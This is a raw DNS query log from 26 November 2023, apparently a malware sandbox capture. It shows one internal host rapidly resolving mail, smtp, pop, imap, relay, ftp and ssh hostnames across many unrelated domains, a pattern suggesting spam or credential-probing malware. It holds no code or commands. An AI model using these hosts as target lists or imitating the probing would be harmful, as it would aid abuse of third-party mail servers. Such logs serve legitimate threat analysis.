Nov 26, 2023 06:59:37.565776110 CET	192.168.2.4	1.1.1.1	0xc840	Standard query (0)	foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:37.566606045 CET	192.168.2.4	1.1.1.1	0x27d4	Standard query (0)	smtp.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.051686049 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	ftp.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.052294016 CET	192.168.2.4	1.1.1.1	0xbf2b	Standard query (0)	ftp.student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.084332943 CET	192.168.2.4	1.1.1.1	0xb741	Standard query (0)	mail.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.088620901 CET	192.168.2.4	1.1.1.1	0x7168	Standard query (0)	mail.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.089459896 CET	192.168.2.4	1.1.1.1	0x71ab	Standard query (0)	mail.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.098056078 CET	192.168.2.4	1.1.1.1	0x4df	Standard query (0)	mail.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.113218069 CET	192.168.2.4	1.1.1.1	0x16ad	Standard query (0)	mail.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.113307953 CET	192.168.2.4	1.1.1.1	0x4b72	Standard query (0)	ftp.goldenfishcompany.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.114149094 CET	192.168.2.4	1.1.1.1	0x1c31	Standard query (0)	mail.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.114310026 CET	192.168.2.4	1.1.1.1	0xa822	Standard query (0)	sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.115154028 CET	192.168.2.4	1.1.1.1	0x4c67	Standard query (0)	mail.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.115221024 CET	192.168.2.4	1.1.1.1	0x133b	Standard query (0)	2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.120438099 CET	192.168.2.4	1.1.1.1	0x3961	Standard query (0)	mail.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.121203899 CET	192.168.2.4	1.1.1.1	0xba7f	Standard query (0)	ftp.matttux.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.126604080 CET	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	mail.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.126791954 CET	192.168.2.4	1.1.1.1	0x54b6	Standard query (0)	ftp.healteas.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.127054930 CET	192.168.2.4	1.1.1.1	0x54d8	Standard query (0)	ftp.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.127429008 CET	192.168.2.4	1.1.1.1	0x3037	Standard query (0)	ftp.5.e9mbw4gh	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.127819061 CET	192.168.2.4	1.1.1.1	0x4b6c	Standard query (0)	pop.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.128298044 CET	192.168.2.4	1.1.1.1	0x29ba	Standard query (0)	mail.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.128515959 CET	192.168.2.4	1.1.1.1	0xc3ed	Standard query (0)	mail.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.143383026 CET	192.168.2.4	1.1.1.1	0xfdc5	Standard query (0)	ftp.ippals.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.143630981 CET	192.168.2.4	1.1.1.1	0xddf7	Standard query (0)	ssh.adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.144119024 CET	192.168.2.4	1.1.1.1	0xb835	Standard query (0)	ftp.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.144411087 CET	192.168.2.4	1.1.1.1	0xc409	Standard query (0)	carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.144555092 CET	192.168.2.4	1.1.1.1	0x403b	Standard query (0)	mail.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.157711029 CET	192.168.2.4	1.1.1.1	0x5230	Standard query (0)	ssh.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.161870956 CET	192.168.2.4	1.1.1.1	0xc978	Standard query (0)	relay.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.162482977 CET	192.168.2.4	1.1.1.1	0x56be	Standard query (0)	mail.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.284157991 CET	192.168.2.4	1.1.1.1	0x3ed5	Standard query (0)	adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.295614004 CET	192.168.2.4	1.1.1.1	0xf9a3	Standard query (0)	paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.295876026 CET	192.168.2.4	1.1.1.1	0x6d22	Standard query (0)	pop.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.298873901 CET	192.168.2.4	1.1.1.1	0x619e	Standard query (0)	schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:38.301179886 CET	192.168.2.4	1.1.1.1	0xdfd4	Standard query (0)	pop.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.152384996 CET	192.168.2.4	1.1.1.1	0x5875	Standard query (0)	pop.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.162362099 CET	192.168.2.4	1.1.1.1	0x2e1e	Standard query (0)	pop.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.168194056 CET	192.168.2.4	1.1.1.1	0x1ce6	Standard query (0)	pop.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.169126034 CET	192.168.2.4	1.1.1.1	0x3c16	Standard query (0)	mail.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.169126034 CET	192.168.2.4	1.1.1.1	0x700a	Standard query (0)	xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.170672894 CET	192.168.2.4	1.1.1.1	0x66e6	Standard query (0)	imap.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.170672894 CET	192.168.2.4	1.1.1.1	0xd732	Standard query (0)	ftp.upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.170857906 CET	192.168.2.4	1.1.1.1	0x113b	Standard query (0)	upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.171268940 CET	192.168.2.4	1.1.1.1	0xd62e	Standard query (0)	mailgate.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.171268940 CET	192.168.2.4	1.1.1.1	0x4d46	Standard query (0)	pop.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.172259092 CET	192.168.2.4	1.1.1.1	0x4502	Standard query (0)	mail.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.172259092 CET	192.168.2.4	1.1.1.1	0xdca	Standard query (0)	ssh.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.206602097 CET	192.168.2.4	1.1.1.1	0x80ac	Standard query (0)	lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.208132982 CET	192.168.2.4	1.1.1.1	0xddf0	Standard query (0)	privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.209038973 CET	192.168.2.4	1.1.1.1	0xa6c9	Standard query (0)	mail.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.209038973 CET	192.168.2.4	1.1.1.1	0x374c	Standard query (0)	relay.adm.uksw.edu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.215410948 CET	192.168.2.4	1.1.1.1	0x3549	Standard query (0)	ftp.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.222570896 CET	192.168.2.4	1.1.1.1	0xff43	Standard query (0)	gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.231664896 CET	192.168.2.4	1.1.1.1	0x6a59	Standard query (0)	ssh.gspousea.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.231664896 CET	192.168.2.4	1.1.1.1	0xf349	Standard query (0)	macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.236272097 CET	192.168.2.4	1.1.1.1	0x4700	Standard query (0)	student.ub.ac.id	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.245476961 CET	192.168.2.4	1.1.1.1	0xe49f	Standard query (0)	mail.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.245476961 CET	192.168.2.4	1.1.1.1	0x20b	Standard query (0)	yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.245651960 CET	192.168.2.4	1.1.1.1	0xbc7	Standard query (0)	lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.245826006 CET	192.168.2.4	1.1.1.1	0xefd7	Standard query (0)	smtp.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.246464014 CET	192.168.2.4	1.1.1.1	0x339d	Standard query (0)	ssh.schor.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.246685028 CET	192.168.2.4	1.1.1.1	0xe558	Standard query (0)	mail.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.246752977 CET	192.168.2.4	1.1.1.1	0x99d2	Standard query (0)	gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.246926069 CET	192.168.2.4	1.1.1.1	0x39bd	Standard query (0)	ftp.bayambnag.gov.ph	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.247067928 CET	192.168.2.4	1.1.1.1	0xbc00	Standard query (0)	mail.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.248522043 CET	192.168.2.4	1.1.1.1	0xe52d	Standard query (0)	ssh.aoiit.store	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.249726057 CET	192.168.2.4	1.1.1.1	0x6e2e	Standard query (0)	ssh.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.249988079 CET	192.168.2.4	1.1.1.1	0x627	Standard query (0)	ssh.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.271007061 CET	192.168.2.4	1.1.1.1	0xf0c8	Standard query (0)	pop.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.277357101 CET	192.168.2.4	1.1.1.1	0x8014	Standard query (0)	avient-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.277965069 CET	192.168.2.4	1.1.1.1	0xebf8	Standard query (0)	pop.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.278063059 CET	192.168.2.4	1.1.1.1	0x2ebe	Standard query (0)	pop.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.278223038 CET	192.168.2.4	1.1.1.1	0x8f36	Standard query (0)	pop.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.278439045 CET	192.168.2.4	1.1.1.1	0xc08d	Standard query (0)	pop.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.278513908 CET	192.168.2.4	1.1.1.1	0xb23a	Standard query (0)	aoiit-store.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.307430983 CET	192.168.2.4	1.1.1.1	0x1233	Standard query (0)	ssh.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.307549000 CET	192.168.2.4	1.1.1.1	0xffef	Standard query (0)	pop.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.308175087 CET	192.168.2.4	1.1.1.1	0xec	Standard query (0)	pop.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.308402061 CET	192.168.2.4	1.1.1.1	0x5d67	Standard query (0)	pop.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.308537006 CET	192.168.2.4	1.1.1.1	0x749	Standard query (0)	pop.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.770962954 CET	192.168.2.4	1.1.1.1	0xb7df	Standard query (0)	mailgate.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.818305969 CET	192.168.2.4	1.1.1.1	0x7c	Standard query (0)	imap.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:39.859489918 CET	192.168.2.4	1.1.1.1	0xe0a1	Standard query (0)	pop.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.032926083 CET	192.168.2.4	1.1.1.1	0x9c8d	Standard query (0)	relay.elitebusinesshn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.474399090 CET	192.168.2.4	1.1.1.1	0x83f	Standard query (0)	ww16.ondania.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.514375925 CET	192.168.2.4	1.1.1.1	0x1ea1	Standard query (0)	mail.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.516272068 CET	192.168.2.4	1.1.1.1	0xb082	Standard query (0)	route2.mx.cloudflare.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.564587116 CET	192.168.2.4	1.1.1.1	0x400d	Standard query (0)	mailgate.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.565010071 CET	192.168.2.4	1.1.1.1	0x4a00	Standard query (0)	relay.utlinks.om	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.565622091 CET	192.168.2.4	1.1.1.1	0x8ca2	Standard query (0)	imap.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.565622091 CET	192.168.2.4	1.1.1.1	0x518b	Standard query (0)	ssh.upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.566052914 CET	192.168.2.4	1.1.1.1	0x786f	Standard query (0)	imap.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.571948051 CET	192.168.2.4	1.1.1.1	0x5344	Standard query (0)	imap.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.577821970 CET	192.168.2.4	1.1.1.1	0xd263	Standard query (0)	imap.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.579171896 CET	192.168.2.4	1.1.1.1	0x4424	Standard query (0)	pop3.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.579876900 CET	192.168.2.4	1.1.1.1	0x42a0	Standard query (0)	imap.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.580605984 CET	192.168.2.4	1.1.1.1	0x2ced	Standard query (0)	imap.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.580764055 CET	192.168.2.4	1.1.1.1	0x28df	Standard query (0)	imap.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.593323946 CET	192.168.2.4	1.1.1.1	0x492e	Standard query (0)	imap.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.598215103 CET	192.168.2.4	1.1.1.1	0x51af	Standard query (0)	mailgate.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.599230051 CET	192.168.2.4	1.1.1.1	0x5385	Standard query (0)	pop3.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.599397898 CET	192.168.2.4	1.1.1.1	0x314e	Standard query (0)	imap.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.599503994 CET	192.168.2.4	1.1.1.1	0xf6f0	Standard query (0)	pop3.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.599766970 CET	192.168.2.4	1.1.1.1	0x97b	Standard query (0)	imap.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.608877897 CET	192.168.2.4	1.1.1.1	0x2434	Standard query (0)	imap.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.609353065 CET	192.168.2.4	1.1.1.1	0x1473	Standard query (0)	imap.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.609353065 CET	192.168.2.4	1.1.1.1	0x74f7	Standard query (0)	imap.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.610101938 CET	192.168.2.4	1.1.1.1	0x7898	Standard query (0)	imap.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.611471891 CET	192.168.2.4	1.1.1.1	0xbe52	Standard query (0)	imap.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.613234043 CET	192.168.2.4	1.1.1.1	0xb203	Standard query (0)	pop3.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.613413095 CET	192.168.2.4	1.1.1.1	0x7cd0	Standard query (0)	imap.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.613579035 CET	192.168.2.4	1.1.1.1	0x767c	Standard query (0)	imap.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.613579035 CET	192.168.2.4	1.1.1.1	0x7101	Standard query (0)	pop3.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.622200966 CET	192.168.2.4	1.1.1.1	0x44f3	Standard query (0)	relay.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.623821020 CET	192.168.2.4	1.1.1.1	0x9407	Standard query (0)	pop3.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.626439095 CET	192.168.2.4	1.1.1.1	0xd9a8	Standard query (0)	pop3.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.628698111 CET	192.168.2.4	1.1.1.1	0x7a3	Standard query (0)	pop3.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.628698111 CET	192.168.2.4	1.1.1.1	0x2331	Standard query (0)	pop3.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.628993034 CET	192.168.2.4	1.1.1.1	0xd39	Standard query (0)	pop.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.629810095 CET	192.168.2.4	1.1.1.1	0x5c65	Standard query (0)	pop3.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630172014 CET	192.168.2.4	1.1.1.1	0x854c	Standard query (0)	pop3.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630255938 CET	192.168.2.4	1.1.1.1	0x12a4	Standard query (0)	pop3.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630486012 CET	192.168.2.4	1.1.1.1	0xf532	Standard query (0)	pop3.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630593061 CET	192.168.2.4	1.1.1.1	0xf98f	Standard query (0)	pop3.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630789995 CET	192.168.2.4	1.1.1.1	0x5d84	Standard query (0)	pop3.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.630984068 CET	192.168.2.4	1.1.1.1	0xf99a	Standard query (0)	pop3.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.650607109 CET	192.168.2.4	1.1.1.1	0x34a8	Standard query (0)	relay.gstudent.ctu.edu.vn	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.683810949 CET	192.168.2.4	1.1.1.1	0x3d06	Standard query (0)	mailgate.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.685060978 CET	192.168.2.4	1.1.1.1	0x5b74	Standard query (0)	pop3.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.011586905 CET	192.168.2.4	1.1.1.1	0x6cae	Standard query (0)	ftp.prettypollycleaning.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.082866907 CET	192.168.2.4	1.1.1.1	0xab5	Standard query (0)	mailgate.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.391621113 CET	192.168.2.4	1.1.1.1	0x1b34	Standard query (0)	imap.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.391793966 CET	192.168.2.4	1.1.1.1	0xeb99	Standard query (0)	mailgate.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.393069983 CET	192.168.2.4	1.1.1.1	0x98f7	Standard query (0)	mailgate.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.399569988 CET	192.168.2.4	1.1.1.1	0x6dea	Standard query (0)	mailgate.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.585895061 CET	192.168.2.4	1.1.1.1	0x45ae	Standard query (0)	mailgate.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.586711884 CET	192.168.2.4	1.1.1.1	0xa0de	Standard query (0)	mailgate.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.586711884 CET	192.168.2.4	1.1.1.1	0x518b	Standard query (0)	ssh.upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.587073088 CET	192.168.2.4	1.1.1.1	0x932	Standard query (0)	mailgate.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.591749907 CET	192.168.2.4	1.1.1.1	0xc162	Standard query (0)	mailgate.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.592086077 CET	192.168.2.4	1.1.1.1	0x8693	Standard query (0)	mailgate.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.592086077 CET	192.168.2.4	1.1.1.1	0x69ad	Standard query (0)	mailgate.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.807956934 CET	192.168.2.4	1.1.1.1	0xc18e	Standard query (0)	mailgate.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.808789968 CET	192.168.2.4	1.1.1.1	0x634a	Standard query (0)	mailgate.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.811047077 CET	192.168.2.4	1.1.1.1	0xad4b	Standard query (0)	mailgate.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.811577082 CET	192.168.2.4	1.1.1.1	0x5ac1	Standard query (0)	mailgate.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.811897993 CET	192.168.2.4	1.1.1.1	0x99dc	Standard query (0)	mailgate.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.815608025 CET	192.168.2.4	1.1.1.1	0x7f5	Standard query (0)	mailgate.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.817111015 CET	192.168.2.4	1.1.1.1	0x27ad	Standard query (0)	mailgate.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.818104982 CET	192.168.2.4	1.1.1.1	0xceeb	Standard query (0)	pop3.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.954334974 CET	192.168.2.4	1.1.1.1	0xe951	Standard query (0)	relay.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.982916117 CET	192.168.2.4	1.1.1.1	0xbb15	Standard query (0)	relay.heathcotebarr.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.004592896 CET	192.168.2.4	1.1.1.1	0x2c2b	Standard query (0)	smtp.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.031464100 CET	192.168.2.4	1.1.1.1	0xf1d7	Standard query (0)	relay.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.031464100 CET	192.168.2.4	1.1.1.1	0xedc4	Standard query (0)	relay.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.031755924 CET	192.168.2.4	1.1.1.1	0xb63e	Standard query (0)	relay.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.032608986 CET	192.168.2.4	1.1.1.1	0x269f	Standard query (0)	relay.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.032685041 CET	192.168.2.4	1.1.1.1	0x8fc2	Standard query (0)	relay.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.033289909 CET	192.168.2.4	1.1.1.1	0xe13	Standard query (0)	relay.sofia-communications.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.034672022 CET	192.168.2.4	1.1.1.1	0x485a	Standard query (0)	smtp.yahoo.comfreezed	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.034761906 CET	192.168.2.4	1.1.1.1	0xb99c	Standard query (0)	smtp.lgs-strategies.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.044533014 CET	192.168.2.4	1.1.1.1	0x10c0	Standard query (0)	relay.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.059465885 CET	192.168.2.4	1.1.1.1	0x335f	Standard query (0)	relay.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.061115980 CET	192.168.2.4	1.1.1.1	0xd6ca	Standard query (0)	relay.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.065248013 CET	192.168.2.4	1.1.1.1	0x2daf	Standard query (0)	smtp.kvsroraipur.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.066646099 CET	192.168.2.4	1.1.1.1	0x9e2e	Standard query (0)	smtp.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.066673994 CET	192.168.2.4	1.1.1.1	0x3dca	Standard query (0)	smtp.2l7g4s.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.067106962 CET	192.168.2.4	1.1.1.1	0x7c11	Standard query (0)	smtp.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.067106962 CET	192.168.2.4	1.1.1.1	0x2bde	Standard query (0)	smtp.mnit.uc.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.067490101 CET	192.168.2.4	1.1.1.1	0xb14b	Standard query (0)	smtp.ardcrushing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.068067074 CET	192.168.2.4	1.1.1.1	0x3790	Standard query (0)	relay.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.068502903 CET	192.168.2.4	1.1.1.1	0xbbc6	Standard query (0)	smtp.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.068502903 CET	192.168.2.4	1.1.1.1	0xc48d	Standard query (0)	relay.foundtoo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.074101925 CET	192.168.2.4	1.1.1.1	0x1af7	Standard query (0)	relay.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.074204922 CET	192.168.2.4	1.1.1.1	0x624a	Standard query (0)	smtp.dbschooldelhi.ac.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.078380108 CET	192.168.2.4	1.1.1.1	0xac65	Standard query (0)	smtp.highstreet-re.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.079497099 CET	192.168.2.4	1.1.1.1	0xa4e7	Standard query (0)	smtp.y3.qj51acp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.079983950 CET	192.168.2.4	1.1.1.1	0x3335	Standard query (0)	smtp.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.081428051 CET	192.168.2.4	1.1.1.1	0x72c2	Standard query (0)	smtp.foundtoo.com	A (IP address)	IN (0x0001)	false
